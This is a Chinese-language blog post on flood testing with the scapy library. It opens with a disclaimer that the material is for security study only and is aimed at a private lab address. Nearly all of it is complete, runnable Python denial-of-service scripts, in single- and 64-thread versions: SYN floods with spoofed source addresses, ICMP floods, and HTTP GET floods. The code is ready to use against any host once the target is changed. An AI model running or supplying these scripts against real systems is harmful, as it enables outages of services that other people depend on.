使用 scapy 进行 flood 测试

写在前面

本文仅限于网络安全学习交流使用，严禁用于非法途径！

若读者因为浏览本文后做出任何危害网络安全的行为，由该读者承担相应的后果，与作者无关，与平台无关！

相关阅读：中华人民共和国网络安全法

测试环境

操作系统：Debian 12

Python：3.8

pip 安装依赖：

1
pip install scapy requests

测试靶标：

IP Port
192.168.201.180 2333/tcp

SYN Flood

单线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from scapy.all import IP, TCP, send
import random

def syn_flood(target_ip, target_port):
    while True:
        ip = IP(src="192.168.1." + str(random.randint(1, 255)), dst=target_ip)
        syn = TCP(sport=random.randint(1024, 65535), dport=target_port, flags="S", seq=random.randint(1, 1000))
        packet = ip / syn
        send(packet, verbose=False)

if __name__ == "__main__":
    target_ip = "192.168.201.180"
    target_port = 2333
    syn_flood(target_ip, target_port)

多线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from scapy.all import IP, TCP, send
import random
import threading

def syn_flood(target_ip, target_port):
    while True:
        ip = IP(src="192.168.1." + str(random.randint(1, 255)), dst=target_ip)
        syn = TCP(sport=random.randint(1024, 65535), dport=target_port, flags="S", seq=random.randint(1, 1000))
        packet = ip / syn
        send(packet, verbose=False)

def start_syn_flood(target_ip, target_port, num_threads=10):
    threads = []
    for _ in range(num_threads):
        thread = threading.Thread(target=syn_flood, args=(target_ip, target_port))
        thread.start()
        threads.append(thread)
    for thread in threads:
        thread.join()

if __name__ == "__main__":
    target_ip = "192.168.201.180"
    target_port = 2333
    start_syn_flood(target_ip, target_port, num_threads=64)

ICMP Flood

单线程

1
2
3
4
5
6
7
8
9
10
11
from scapy.all import IP, ICMP, send
import random

def icmp_flood(target_ip):
    while True:
        packet = IP(src="192.168.1." + str(random.randint(1, 255)), dst=target_ip) / ICMP()
        send(packet, verbose=False)

if __name__ == "__main__":
    target_ip = "192.168.201.180"
    icmp_flood(target_ip)

多线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from scapy.all import IP, ICMP, send
import random
import threading

def icmp_flood(target_ip):
    while True:
        packet = IP(src="192.168.1." + str(random.randint(1, 255)), dst=target_ip) / ICMP()
        send(packet, verbose=False)

def start_icmp_flood(target_ip, num_threads=10):
    threads = []
    for _ in range(num_threads):
        thread = threading.Thread(target=icmp_flood, args=(target_ip,))
        thread.start()
        threads.append(thread)
    for thread in threads:
        thread.join()

if __name__ == "__main__":
    target_ip = "192.168.201.180"
    start_icmp_flood(target_ip, num_threads=64)

HTTP Flood

单线程

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

def http_flood(target_url):
    while True:
        try:
            response = requests.get(target_url)
            print(f"Request sent to {target_url}, Status Code: {response.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"Error: {e}")

if __name__ == "__main__":
    target_url = "http://192.168.201.180:2333"
    http_flood(target_url)

多线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import threading

def http_flood(target_url):
    while True:
        try:
            response = requests.get(target_url)
            print(f"Request sent to {target_url}, Status Code: {response.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"Error: {e}")

def start_http_flood(target_url, num_threads=10):
    threads = []
    for _ in range(num_threads):
        thread = threading.Thread(target=http_flood, args=(target_url,))
        thread.start()
        threads.append(thread)
    for thread in threads:
        thread.join()

if __name__ == "__main__":
    target_url = "http://192.168.201.180:80"
    start_http_flood(target_url, num_threads=64)
使用 scapy 进行 flood 测试
https://www.lechnolocy.cn/2025/04/12/使用 scapy 进行 flood 测试/
作者
Lechnolocy
发布于
2025年4月12日
许可协议